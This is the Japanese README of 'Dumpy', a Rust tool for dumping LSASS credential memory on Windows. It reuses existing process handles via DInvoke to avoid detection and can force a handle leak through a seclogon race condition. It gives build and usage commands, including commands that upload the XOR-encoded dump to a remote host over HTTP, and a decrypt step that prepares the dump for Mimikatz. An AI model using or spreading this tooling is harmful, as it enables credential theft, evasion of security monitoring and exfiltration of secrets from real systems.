
開いているハンドルを再利用して、LSASSを動的にダンプします。
このツールは、MiniDumpWriteDump を動的に呼び出して lsass のメモリ内容をダンプします。この処理は、lsass への新しいプロセス ハンドルを開かずに実行され、DInvoke_rs を使用して悪意のある動作を検出しにくくしています。lsass に対して OpenProcess を呼び出さずに有効なプロセス ハンドルを取得するため、システム内のすべてのプロセス ハンドルが NtQuerySystemInformation、NtDuplicateObject、NtQueryObject、QueryFullProcessImageNameW を使用して分析されます。
NTFS Transaction は、メモリ ダンプをディスクに保存する前、または HTTP 経由で送信する前に XOR するために使用されます。
x86 と x64 の両方に対応しています。
release モードでコードをコンパイルして実行するだけです:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
x86 システム用にコンパイルする場合は、.cargo\config ファイル内の "target" オプションの値を変更してください(例:target = "i686-pc-windows-msvc")。
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy には主なアクションが 2 つあります:
dump: lsass をダンプするためのメインロジックを実行します。デフォルトでは、ランダムな名前の XOR 処理されたテキストファイルとして現在のディレクトリに結果を保存します。upload オプションを使用すると、メモリ内容を HTTP 経由でリモートホストに送信できるため、ディスク上に XOR 処理されたファイルを作成しません。アップロードの処理には このシンプルな HTTP サーバー を使用しましたが、multipart/form-data リクエストに対応している HTTP サーバーであればどれでも動作します。
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
lsass へのハンドルの漏洩を、Antonio Cocomazzi が この投稿 で説明している seclogon サービスのレースコンディションを通して強制したい場合は、force オプションを使用してください:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: このアクションは、Mimikatz などのツールが期待するのと同じ形式で復号化されたメモリダンプを取得できます。引数として、XOR 処理されたメモリダンプ、暗号化キー、出力ファイルパスを指定します。XOR 処理されたファイルが HTTP でアップロードされた場合、この復号化プロセスの前にコンテンツの base64 デコードを実行する必要があります。
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey